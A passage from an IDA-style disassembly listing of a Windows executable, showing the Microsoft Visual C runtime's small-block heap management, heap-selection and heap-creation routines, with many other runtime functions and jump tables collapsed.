mov edx, [ebp+var_3C]
add edx, [ebp+var_24]
mov [edx+4], cl
mov eax, [ebp+var_3C]
add eax, [ebp+var_24]
movsx ecx, byte ptr [eax+4]
test ecx, ecx
jnz short loc_424523
mov edx, 80000000h
mov ecx, [ebp+var_24]
shr edx, cl
not edx
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, edx
mov edx, [ebp+arg_0]
mov [edx], ecx
loc_424523: ; CODE XREF: sub_424410+F9j
jmp short loc_424590
; ---------------------------------------------------------------------------
loc_424525: ; CODE XREF: sub_424410+B4j
mov ecx, [ebp+var_24]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
not eax
mov ecx, [ebp+var_4]
mov edx, [ebp+var_3C]
mov ecx, [edx+ecx*4+0C4h]
and ecx, eax
mov edx, [ebp+var_4]
mov eax, [ebp+var_3C]
mov [eax+edx*4+0C4h], ecx
mov ecx, [ebp+var_3C]
add ecx, [ebp+var_24]
mov dl, [ecx+4]
sub dl, 1
mov eax, [ebp+var_3C]
add eax, [ebp+var_24]
mov [eax+4], dl
mov ecx, [ebp+var_3C]
add ecx, [ebp+var_24]
movsx edx, byte ptr [ecx+4]
test edx, edx
jnz short loc_424590
mov ecx, [ebp+var_24]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
not eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
and edx, eax
mov eax, [ebp+arg_0]
mov [eax+4], edx
loc_424590: ; CODE XREF: sub_424410+AAj
; sub_424410:loc_424523j ...
mov ecx, [ebp+var_38]
mov edx, [ecx+8]
mov eax, [ebp+var_38]
mov ecx, [eax+4]
mov [edx+4], ecx
mov edx, [ebp+var_38]
mov eax, [edx+4]
mov ecx, [ebp+var_38]
mov edx, [ecx+8]
mov [eax+8], edx
mov eax, [ebp+var_30]
add eax, [ebp+var_14]
mov [ebp+var_30], eax
loc_4245B7: ; CODE XREF: sub_424410+7Fj
mov ecx, [ebp+var_30]
sar ecx, 4
sub ecx, 1
mov [ebp+var_28], ecx
cmp [ebp+var_28], 3Fh
jbe short loc_4245D0
mov [ebp+var_28], 3Fh
loc_4245D0: ; CODE XREF: sub_424410+1B7j
mov edx, [ebp+var_C]
and edx, 1
test edx, edx
jnz loc_424734
mov eax, [ebp+var_1C]
sub eax, [ebp+var_C]
mov [ebp+var_34], eax
mov ecx, [ebp+var_C]
sar ecx, 4
sub ecx, 1
mov [ebp+var_2C], ecx
cmp [ebp+var_2C], 3Fh
jbe short loc_424600
mov [ebp+var_2C], 3Fh
loc_424600: ; CODE XREF: sub_424410+1E7j
mov edx, [ebp+var_30]
add edx, [ebp+var_C]
mov [ebp+var_30], edx
mov eax, [ebp+var_30]
sar eax, 4
sub eax, 1
mov [ebp+var_28], eax
cmp [ebp+var_28], 3Fh
jbe short loc_424622
mov [ebp+var_28], 3Fh
loc_424622: ; CODE XREF: sub_424410+209j
mov ecx, [ebp+var_2C]
cmp ecx, [ebp+var_28]
jz loc_42472E
mov edx, [ebp+var_34]
mov eax, [ebp+var_34]
mov ecx, [edx+4]
cmp ecx, [eax+8]
jnz loc_424710
cmp [ebp+var_2C], 20h
jnb short loc_4246A5
mov edx, 80000000h
mov ecx, [ebp+var_2C]
shr edx, cl
not edx
mov eax, [ebp+var_4]
mov ecx, [ebp+var_3C]
mov eax, [ecx+eax*4+44h]
and eax, edx
mov ecx, [ebp+var_4]
mov edx, [ebp+var_3C]
mov [edx+ecx*4+44h], eax
mov eax, [ebp+var_3C]
add eax, [ebp+var_2C]
mov cl, [eax+4]
sub cl, 1
mov edx, [ebp+var_3C]
add edx, [ebp+var_2C]
mov [edx+4], cl
mov eax, [ebp+var_3C]
add eax, [ebp+var_2C]
movsx ecx, byte ptr [eax+4]
test ecx, ecx
jnz short loc_4246A3
mov edx, 80000000h
mov ecx, [ebp+var_2C]
shr edx, cl
not edx
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, edx
mov edx, [ebp+arg_0]
mov [edx], ecx
loc_4246A3: ; CODE XREF: sub_424410+279j
jmp short loc_424710
; ---------------------------------------------------------------------------
loc_4246A5: ; CODE XREF: sub_424410+234j
mov ecx, [ebp+var_2C]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
not eax
mov ecx, [ebp+var_4]
mov edx, [ebp+var_3C]
mov ecx, [edx+ecx*4+0C4h]
and ecx, eax
mov edx, [ebp+var_4]
mov eax, [ebp+var_3C]
mov [eax+edx*4+0C4h], ecx
mov ecx, [ebp+var_3C]
add ecx, [ebp+var_2C]
mov dl, [ecx+4]
sub dl, 1
mov eax, [ebp+var_3C]
add eax, [ebp+var_2C]
mov [eax+4], dl
mov ecx, [ebp+var_3C]
add ecx, [ebp+var_2C]
movsx edx, byte ptr [ecx+4]
test edx, edx
jnz short loc_424710
mov ecx, [ebp+var_2C]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
not eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
and edx, eax
mov eax, [ebp+arg_0]
mov [eax+4], edx
loc_424710: ; CODE XREF: sub_424410+22Aj
; sub_424410:loc_4246A3j ...
mov ecx, [ebp+var_34]
mov edx, [ecx+8]
mov eax, [ebp+var_34]
mov ecx, [eax+4]
mov [edx+4], ecx
mov edx, [ebp+var_34]
mov eax, [edx+4]
mov ecx, [ebp+var_34]
mov edx, [ecx+8]
mov [eax+8], edx
loc_42472E: ; CODE XREF: sub_424410+218j
mov eax, [ebp+var_34]
mov [ebp+var_1C], eax
loc_424734: ; CODE XREF: sub_424410+1C8j
mov ecx, [ebp+var_C]
and ecx, 1
test ecx, ecx
jnz short loc_42474A
mov edx, [ebp+var_2C]
cmp edx, [ebp+var_28]
jz loc_42485A
loc_42474A: ; CODE XREF: sub_424410+32Cj
mov eax, [ebp+var_28]
mov ecx, [ebp+var_8]
lea edx, [ecx+eax*8]
mov [ebp+var_20], edx
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_20]
mov edx, [ecx+4]
mov [eax+4], edx
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_20]
mov [eax+8], ecx
mov edx, [ebp+var_20]
mov eax, [ebp+var_1C]
mov [edx+4], eax
mov ecx, [ebp+var_1C]
mov edx, [ecx+4]
mov eax, [ebp+var_1C]
mov [edx+8], eax
mov ecx, [ebp+var_1C]
mov edx, [ebp+var_1C]
mov eax, [ecx+4]
cmp eax, [edx+8]
jnz loc_42485A
cmp [ebp+var_28], 20h
jnb short loc_4247F3
mov ecx, [ebp+var_3C]
add ecx, [ebp+var_28]
movsx edx, byte ptr [ecx+4]
mov eax, [ebp+var_3C]
add eax, [ebp+var_28]
mov cl, [eax+4]
add cl, 1
mov eax, [ebp+var_3C]
add eax, [ebp+var_28]
mov [eax+4], cl
test edx, edx
jnz short loc_4247D1
mov edx, 80000000h
mov ecx, [ebp+var_28]
shr edx, cl
mov eax, [ebp+arg_0]
mov ecx, [eax]
or ecx, edx
mov edx, [ebp+arg_0]
mov [edx], ecx
loc_4247D1: ; CODE XREF: sub_424410+3A9j
mov eax, 80000000h
mov ecx, [ebp+var_28]
shr eax, cl
mov ecx, [ebp+var_4]
mov edx, [ebp+var_3C]
mov ecx, [edx+ecx*4+44h]
or ecx, eax
mov edx, [ebp+var_4]
mov eax, [ebp+var_3C]
mov [eax+edx*4+44h], ecx
jmp short loc_42485A
; ---------------------------------------------------------------------------
loc_4247F3: ; CODE XREF: sub_424410+386j
mov ecx, [ebp+var_3C]
add ecx, [ebp+var_28]
movsx edx, byte ptr [ecx+4]
mov eax, [ebp+var_3C]
add eax, [ebp+var_28]
mov cl, [eax+4]
add cl, 1
mov eax, [ebp+var_3C]
add eax, [ebp+var_28]
mov [eax+4], cl
test edx, edx
jnz short loc_424831
mov ecx, [ebp+var_28]
sub ecx, 20h
mov edx, 80000000h
shr edx, cl
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
or ecx, edx
mov edx, [ebp+arg_0]
mov [edx+4], ecx
loc_424831: ; CODE XREF: sub_424410+404j
mov ecx, [ebp+var_28]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
mov ecx, [ebp+var_4]
mov edx, [ebp+var_3C]
mov ecx, [edx+ecx*4+0C4h]
or ecx, eax
mov edx, [ebp+var_4]
mov eax, [ebp+var_3C]
mov [eax+edx*4+0C4h], ecx
loc_42485A: ; CODE XREF: sub_424410+334j
; sub_424410+37Cj ...
mov ecx, [ebp+var_1C]
mov edx, [ebp+var_30]
mov [ecx], edx
mov eax, [ebp+var_1C]
add eax, [ebp+var_30]
mov ecx, [ebp+var_30]
mov [eax-4], ecx
mov edx, [ebp+var_8]
mov eax, [edx]
sub eax, 1
mov ecx, [ebp+var_8]
mov [ecx], eax
mov edx, [ebp+var_8]
cmp dword ptr [edx], 0
jnz loc_4249E8
cmp Dst, 0
jz loc_4249D7
mov eax, dword_4F3BF4
shl eax, 0Fh
mov ecx, Dst
mov edx, [ecx+0Ch]
add edx, eax
mov [ebp+var_18], edx
push 4000h
push 8000h
mov eax, [ebp+var_18]
push eax
call ds:dword_4F54B0 ; VirtualFree
mov edx, 80000000h
mov ecx, dword_4F3BF4
shr edx, cl
mov eax, Dst
mov ecx, [eax+8]
or ecx, edx
mov edx, Dst
mov [edx+8], ecx
mov eax, Dst
mov ecx, [eax+10h]
mov edx, dword_4F3BF4
mov dword ptr [ecx+edx*4+0C4h], 0
mov eax, Dst
mov ecx, [eax+10h]
mov dl, [ecx+43h]
sub dl, 1
mov eax, Dst
mov ecx, [eax+10h]
mov [ecx+43h], dl
mov edx, Dst
mov eax, [edx+10h]
movsx ecx, byte ptr [eax+43h]
test ecx, ecx
jnz short loc_424935
mov edx, Dst
mov eax, [edx+4]
and al, 0FEh
mov ecx, Dst
mov [ecx+4], eax
loc_424935: ; CODE XREF: sub_424410+50Fj
mov edx, Dst
cmp dword ptr [edx+8], 0FFFFFFFFh
jnz loc_4249D7
push 8000h
push 0
mov eax, Dst
mov ecx, [eax+0Ch]
push ecx
call ds:dword_4F54B0 ; VirtualFree
mov edx, Dst
mov eax, [edx+10h]
push eax
push 0
mov ecx, dword_4F3BE8
push ecx
call ds:dword_4F5414 ; RtlFreeHeap
mov edx, dword_4F3C04
imul edx, 14h
mov eax, dword_4F3C08
add eax, edx
mov ecx, Dst
add ecx, 14h
sub eax, ecx
push eax ; Size
mov edx, Dst
add edx, 14h
push edx ; Src
mov eax, Dst
push eax ; Dst
call _memcpy_0
add esp, 0Ch
mov ecx, dword_4F3C04
sub ecx, 1
mov dword_4F3C04, ecx
mov edx, [ebp+arg_0]
cmp edx, Dst
jbe short loc_4249CB
mov eax, [ebp+arg_0]
sub eax, 14h
mov [ebp+arg_0], eax
loc_4249CB: ; CODE XREF: sub_424410+5B0j
mov ecx, dword_4F3C08
mov dword_4F3BF8, ecx
loc_4249D7: ; CODE XREF: sub_424410+47Ej
; sub_424410+52Fj
mov edx, [ebp+arg_0]
mov Dst, edx
mov eax, [ebp+var_4]
mov dword_4F3BF4, eax
loc_4249E8: ; CODE XREF: sub_424410+58j
; sub_424410+471j
mov esp, ebp
pop ebp
retn
sub_424410 endp
; ---------------------------------------------------------------------------
align 10h
; [00000536 BYTES: COLLAPSED FUNCTION ___sbh_alloc_block. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000010F BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_region. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000001EE BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_group. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000005EB BYTES: COLLAPSED FUNCTION ___sbh_resize_block. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000130 BYTES: COLLAPSED FUNCTION ___sbh_heapmin. PRESS KEYPAD "+" TO EXPAND]
; [0000061D BYTES: COLLAPSED FUNCTION ___sbh_heap_check. PRESS KEYPAD "+" TO EXPAND]
align 10h
push ebp
mov ebp, esp
mov eax, dword_453CEC
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; [0000002B BYTES: COLLAPSED FUNCTION __set_sbh_threshold. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000001DE BYTES: COLLAPSED FUNCTION ___sbh_new_region. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000073 BYTES: COLLAPSED FUNCTION ___sbh_release_region. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000157 BYTES: COLLAPSED FUNCTION ___sbh_decommit_pages. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000090 BYTES: COLLAPSED FUNCTION ___sbh_find_block_0. PRESS KEYPAD "+" TO EXPAND]
; [0000006C BYTES: COLLAPSED FUNCTION ___sbh_free_block. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000003B8 BYTES: COLLAPSED FUNCTION ___sbh_alloc_block_0. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000002A9 BYTES: COLLAPSED FUNCTION ___sbh_alloc_block_from_page. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000164 BYTES: COLLAPSED FUNCTION ___sbh_resize_block_0. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000237 BYTES: COLLAPSED FUNCTION ___sbh_heap_check_0. PRESS KEYPAD "+" TO EXPAND]
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426E90 proc near ; CODE XREF: .text:00424252p
; sub_426EF0+1FBp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov eax, [ebp+arg_0]
mov dword ptr [eax], 0
push 0
call ds:dword_4F5370 ; GetModuleHandleA
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
xor edx, edx
mov dx, [ecx]
cmp edx, 5A4Dh
jnz short loc_426EC3
mov eax, [ebp+var_8]
cmp dword ptr [eax+3Ch], 0
jnz short loc_426EC5
loc_426EC3: ; CODE XREF: sub_426E90+28j
jmp short loc_426EE8
; ---------------------------------------------------------------------------
loc_426EC5: ; CODE XREF: sub_426E90+31j
mov ecx, [ebp+var_8]
mov edx, [ebp+var_8]
add edx, [ecx+3Ch]
mov [ebp+var_4], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_4]
mov dl, [ecx+1Ah]
mov [eax], dl
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_4]
mov dl, [ecx+1Bh]
mov [eax+1], dl
loc_426EE8: ; CODE XREF: sub_426E90:loc_426EC3j
mov esp, ebp
pop ebp
retn
sub_426E90 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426EF0 proc near ; CODE XREF: sub_427120:loc_42714Cp
Str = dword ptr -1238h
var_1234 = dword ptr -1234h
var_1230 = dword ptr -1230h
SubStr = byte ptr -122Ch
Str2 = byte ptr -1128h
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_88 = dword ptr -88h
var_4 = dword ptr -4
push ebp
mov ebp, esp
mov eax, 1238h
call __alloca_probe
mov [ebp+Str], 0
mov [ebp+var_98], 94h
lea eax, [ebp+var_98]
push eax
call ds:dword_4F539C ; GetVersionExA
test eax, eax
jz short loc_426F3E
cmp [ebp+var_88], 2
jnz short loc_426F3E
cmp [ebp+var_94], 5
jb short loc_426F3E
mov eax, 1
jmp loc_427110
; ---------------------------------------------------------------------------
loc_426F3E: ; CODE XREF: sub_426EF0+30j
; sub_426EF0+39j ...
push 1090h
lea ecx, [ebp+Str2]
push ecx
push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
call ds:dword_4F54B8 ; GetEnvironmentVariableA
test eax, eax
jz loc_4270E4
lea edx, [ebp+Str2]
mov [ebp+var_4], edx
jmp short loc_426F71
; ---------------------------------------------------------------------------
loc_426F68: ; CODE XREF: sub_426EF0:loc_426F9Ej
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_426F71: ; CODE XREF: sub_426EF0+76j
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_426FA0
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 61h
jl short loc_426F9E
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
cmp eax, 7Ah
jg short loc_426F9E
mov ecx, [ebp+var_4]
mov dl, [ecx]
add dl, 0E0h
mov eax, [ebp+var_4]
mov [eax], dl
loc_426F9E: ; CODE XREF: sub_426EF0+94j
; sub_426EF0+9Fj
jmp short loc_426F68
; ---------------------------------------------------------------------------
loc_426FA0: ; CODE XREF: sub_426EF0+89j
push 16h ; MaxCount
lea ecx, [ebp+Str2]
push ecx ; Str2
push offset Str1 ; "__GLOBAL_HEAP_SELECTED"
call _strncmp
add esp, 0Ch
test eax, eax
jnz short loc_426FC8
lea edx, [ebp+Str2]
mov [ebp+Str], edx
jmp short loc_42703B
; ---------------------------------------------------------------------------
loc_426FC8: ; CODE XREF: sub_426EF0+C8j
push 104h
lea eax, [ebp+SubStr]
push eax
push 0
call ds:dword_4F5344 ; GetModuleFileNameA
lea ecx, [ebp+SubStr]
mov [ebp+var_4], ecx
jmp short loc_426FF0
; ---------------------------------------------------------------------------
loc_426FE7: ; CODE XREF: sub_426EF0:loc_42701Dj
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_426FF0: ; CODE XREF: sub_426EF0+F5j
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_42701F
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
cmp eax, 61h
jl short loc_42701D
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 7Ah
jg short loc_42701D
mov eax, [ebp+var_4]
mov cl, [eax]
add cl, 0E0h
mov edx, [ebp+var_4]
mov [edx], cl
loc_42701D: ; CODE XREF: sub_426EF0+113j
; sub_426EF0+11Ej
jmp short loc_426FE7
; ---------------------------------------------------------------------------
loc_42701F: ; CODE XREF: sub_426EF0+108j
lea eax, [ebp+SubStr]
push eax ; SubStr
lea ecx, [ebp+Str2]
push ecx ; Str
call _strstr
add esp, 8
mov [ebp+Str], eax
loc_42703B: ; CODE XREF: sub_426EF0+D6j
cmp [ebp+Str], 0
jz loc_4270E4
push 2Ch ; Val
mov edx, [ebp+Str]
push edx ; Str
call _strchr
add esp, 8
mov [ebp+Str], eax
cmp [ebp+Str], 0
jz short loc_4270E4
mov eax, [ebp+Str]
add eax, 1
mov [ebp+Str], eax
mov ecx, [ebp+Str]
mov [ebp+var_4], ecx
loc_427080: ; CODE XREF: sub_426EF0:loc_4270A6j
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
test eax, eax
jz short loc_4270A8
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 3Bh
jnz short loc_42709D
mov eax, [ebp+var_4]
mov byte ptr [eax], 0
jmp short loc_4270A6
; ---------------------------------------------------------------------------
loc_42709D: ; CODE XREF: sub_426EF0+1A3j
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_4270A6: ; CODE XREF: sub_426EF0+1ABj
jmp short loc_427080
; ---------------------------------------------------------------------------
loc_4270A8: ; CODE XREF: sub_426EF0+198j
push 0Ah ; Radix
push 0 ; EndPtr
mov edx, [ebp+Str]
push edx ; Str
call _strtol
add esp, 0Ch
mov [ebp+var_1230], eax
cmp [ebp+var_1230], 2
jz short loc_4270DC
cmp [ebp+var_1230], 3
jz short loc_4270DC
cmp [ebp+var_1230], 1
jnz short loc_4270E4
loc_4270DC: ; CODE XREF: sub_426EF0+1D8j
; sub_426EF0+1E1j
mov eax, [ebp+var_1230]
jmp short loc_427110
; ---------------------------------------------------------------------------
loc_4270E4: ; CODE XREF: sub_426EF0+67j
; sub_426EF0+152j ...
lea eax, [ebp+var_1234]
push eax
call sub_426E90
add esp, 4
mov ecx, [ebp+var_1234]
and ecx, 0FFh
cmp ecx, 6
jl short loc_42710B
mov eax, 3
jmp short loc_427110
; ---------------------------------------------------------------------------
loc_42710B: ; CODE XREF: sub_426EF0+212j
mov eax, 2
loc_427110: ; CODE XREF: sub_426EF0+49j
; sub_426EF0+1F2j ...
mov esp, ebp
pop ebp
retn
sub_426EF0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427120 proc near ; CODE XREF: start+7Ep
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0
push 1000h
xor eax, eax
cmp [ebp+arg_0], 0
setz al
push eax
call ds:dword_4F54C0 ; HeapCreate
mov dword_4F3BE8, eax
cmp dword_4F3BE8, 0
jnz short loc_42714C
xor eax, eax
jmp short loc_4271AB
; ---------------------------------------------------------------------------
loc_42714C: ; CODE XREF: sub_427120+26j
call sub_426EF0
mov dword_4F3BEC, eax
cmp dword_4F3BEC, 3
jnz short loc_427183
push 3F8h
call ___sbh_heap_init
add esp, 4
test eax, eax
jnz short loc_427181
mov ecx, dword_4F3BE8
push ecx
call ds:dword_4F54BC ; HeapDestroy
xor eax, eax
jmp short loc_4271AB
; ---------------------------------------------------------------------------
loc_427181: ; CODE XREF: sub_427120+4Ej
jmp short loc_4271A6
; ---------------------------------------------------------------------------
loc_427183: ; CODE XREF: sub_427120+3Dj
cmp dword_4F3BEC, 2
jnz short loc_4271A6
call ___sbh_new_region
test eax, eax
jnz short loc_4271A6
mov edx, dword_4F3BE8
push edx
call ds:dword_4F54BC ; HeapDestroy
xor eax, eax
jmp short loc_4271AB
; ---------------------------------------------------------------------------
loc_4271A6: ; CODE XREF: sub_427120:loc_427181j
; sub_427120+6Aj ...
mov eax, 1
loc_4271AB: ; CODE XREF: sub_427120+2Aj
; sub_427120+5Fj ...
pop ebp
retn
sub_427120 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 0Ch
cmp dword_4F3BEC, 3
jnz loc_42724A
mov eax, dword_4F3C08
mov [ebp-8], eax
mov dword ptr [ebp-4], 0
jmp short loc_4271DD
; ---------------------------------------------------------------------------
loc_4271D4: ; CODE XREF: .text:00427231j
mov ecx, [ebp-4]
add ecx, 1
mov [ebp-4], ecx
loc_4271DD: ; CODE XREF: .text:004271D2j
mov edx, [ebp-4]
cmp edx, dword_4F3C04
jge short loc_427233
push 4000h
push 100000h
mov eax, [ebp-8]
mov ecx, [eax+0Ch]
push ecx
call ds:dword_4F54B0 ; VirtualFree
push 8000h
push 0
mov edx, [ebp-8]
mov eax, [edx+0Ch]
push eax
call ds:dword_4F54B0 ; VirtualFree
mov ecx, [ebp-8]
mov edx, [ecx+10h]
push edx
push 0
mov eax, dword_4F3BE8
push eax
call ds:dword_4F5414 ; RtlFreeHeap
mov ecx, [ebp-8]
add ecx, 14h
mov [ebp-8], ecx
jmp short loc_4271D4
; ---------------------------------------------------------------------------
loc_427233: ; CODE XREF: .text:004271E6j
mov edx, dword_4F3C08
push edx
push 0
mov eax, dword_4F3BE8
push eax
call ds:dword_4F5414 ; RtlFreeHeap
jmp short loc_427288
; ---------------------------------------------------------------------------
loc_42724A: ; CODE XREF: .text:004271BDj
cmp dword_4F3BEC, 2
jnz short loc_427288
mov dword ptr [ebp-0Ch], offset off_451CC8
loc_42725A: ; CODE XREF: .text:00427286j
mov ecx, [ebp-0Ch]
cmp dword ptr [ecx+10h], 0
jz short loc_427277
push 8000h
push 0
mov edx, [ebp-0Ch]
mov eax, [edx+10h]
push eax
call ds:dword_4F54B0 ; VirtualFree
loc_427277: ; CODE XREF: .text:00427261j
mov ecx, [ebp-0Ch]
mov edx, [ecx]
mov [ebp-0Ch], edx
cmp dword ptr [ebp-0Ch], offset off_451CC8
jnz short loc_42725A
loc_427288: ; CODE XREF: .text:00427248j
; .text:00427251j
mov eax, dword_4F3BE8
push eax
call ds:dword_4F54BC ; HeapDestroy
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; [000000B7 BYTES: COLLAPSED FUNCTION __isctype. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000001E4 BYTES: COLLAPSED FUNCTION __filbuf. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000082 BYTES: COLLAPSED FUNCTION __read. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000445 BYTES: COLLAPSED FUNCTION __read_lk. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000031D BYTES: COLLAPSED FUNCTION __openfile. PRESS KEYPAD "+" TO EXPAND]
off_427D4D dd offset loc_427B7B ; DATA XREF: __openfile+144r
dd offset loc_427CA6
dd offset loc_427C65
dd offset loc_427C44
dd offset loc_427C86
dd offset loc_427BB5
dd offset loc_427BFC
dd offset loc_427C20
dd offset loc_427BD9
dd offset loc_427CC3
byte_427D75 db 0 ; DATA XREF: __openfile+13Er
dw 909h
dd 5 dup(9090909h), 9010909h, 3 dup(9090909h), 9040302h
dd 3 dup(9090909h), 9090605h, 2 dup(9090909h), 9090907h
dd 0CC080909h
; [00000180 BYTES: COLLAPSED FUNCTION __getstream. PRESS KEYPAD "+" TO EXPAND]
; [00000274 BYTES: COLLAPSED FUNCTION __flsbuf. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000C24 BYTES: COLLAPSED FUNCTION unknown_libname_7. PRESS KEYPAD "+" TO EXPAND]
off_428DE4 dd offset unknown_libname_8 ; DATA XREF: unknown_libname_7+B9r
; Microsoft VisualC 2-8/net runtime
dd offset loc_42831A
dd offset loc_42835C
dd offset loc_4283CB
dd offset loc_428423
dd offset loc_428432
dd offset loc_42847E
dd offset loc_428511
off_428E04 dd offset loc_4283A8 ; DATA XREF: unknown_libname_7+1CCr
dd offset loc_4283B3
dd offset loc_42839E
dd offset loc_428393
dd offset loc_4283BE
dd offset loc_4283C6
byte_428E1C db 0 ; DATA XREF: unknown_libname_7+1C6r
db 2 dup(5), 1
dd 5050505h, 2050505h, 5050305h
db 4
dd offset loc_4284C0 ; DATA XREF: unknown_libname_7+2EEr
dd offset loc_4284F9
dd offset loc_4284B5
dd offset loc_428503
dd offset loc_42850C
byte_428E41 db 0 ; DATA XREF: unknown_libname_7+2E8r
dw 404h
dd 7 dup(4040404h), 4040401h, 4040402h, 4040404h, 3040404h
dd offset loc_42854C ; DATA XREF: unknown_libname_7+385r
dd offset loc_4287E0
dd offset loc_428670
dd offset loc_428919
dd offset loc_4285DB
dd offset loc_428561
dd offset loc_4288EB
dd offset loc_4287F0
dd offset loc_428795
dd offset loc_428965
dd offset loc_42890F
dd offset loc_428686
dd offset loc_428903
dd offset loc_428925
dd offset loc_428BF7
byte_428EAC db 0 ; DATA XREF: unknown_libname_7+37Fr
db 0Eh, 1, 0Eh
dd 0E0E0E01h, 2 dup(0E0E0E0Eh), 0E0E0E02h, 40E030Eh, 2 dup(0E0E0E0Eh)
dd 7070605h, 0E060E07h, 80E0E0Eh, 0E0E0A09h, 0E0C0E0Bh
dd 0CCCC0D0Eh, 3 dup(0CCCCCCCCh)
; [00000077 BYTES: COLLAPSED FUNCTION _write_char. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000035 BYTES: COLLAPSED FUNCTION _write_multi_char. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000004A BYTES: COLLAPSED FUNCTION _write_string. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000001A BYTES: COLLAPSED FUNCTION _get_int_arg. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000001F BYTES: COLLAPSED FUNCTION _get_int64_arg. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000001B BYTES: COLLAPSED FUNCTION _get_short_arg. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000082 BYTES: COLLAPSED FUNCTION __mtinit. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000029 BYTES: COLLAPSED FUNCTION __mtterm. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000019 BYTES: COLLAPSED FUNCTION __initptd. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000098 BYTES: COLLAPSED FUNCTION __getptd. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000107 BYTES: COLLAPSED FUNCTION __freeptd. PRESS KEYPAD "+" TO EXPAND]
align 10h
push ebp
mov ebp, esp
call ds:dword_4F54C4 ; GetCurrentThreadId
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
call ds:dword_4F54DC ; GetCurrentThread
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; [00000344 BYTES: COLLAPSED FUNCTION __setmbcp. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000059 BYTES: COLLAPSED FUNCTION _getSystemCP. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000050 BYTES: COLLAPSED FUNCTION _CPtoLCID. PRESS KEYPAD "+" TO EXPAND]
off_429710 dd offset loc_4296EE ; DATA XREF: _CPtoLCID+27r
dd offset loc_4296F5
dd offset loc_4296FC
dd offset loc_429703
dd offset loc_42970A
byte_429724 db 0 ; DATA XREF: _CPtoLCID+21r
db 3 dup(4)
dd 4040401h, 2 dup(4040404h), 0CC030204h, 2 dup(0CCCCCCCCh)
; [00000074 BYTES: COLLAPSED FUNCTION _setSBCS. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000302 BYTES: COLLAPSED FUNCTION _setSBUpLow. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000017 BYTES: COLLAPSED FUNCTION __getmbcp. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000022 BYTES: COLLAPSED FUNCTION ___initmbctable. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000125 BYTES: COLLAPSED FUNCTION __mbsnbcpy. PRESS KEYPAD "+" TO EXPAND]
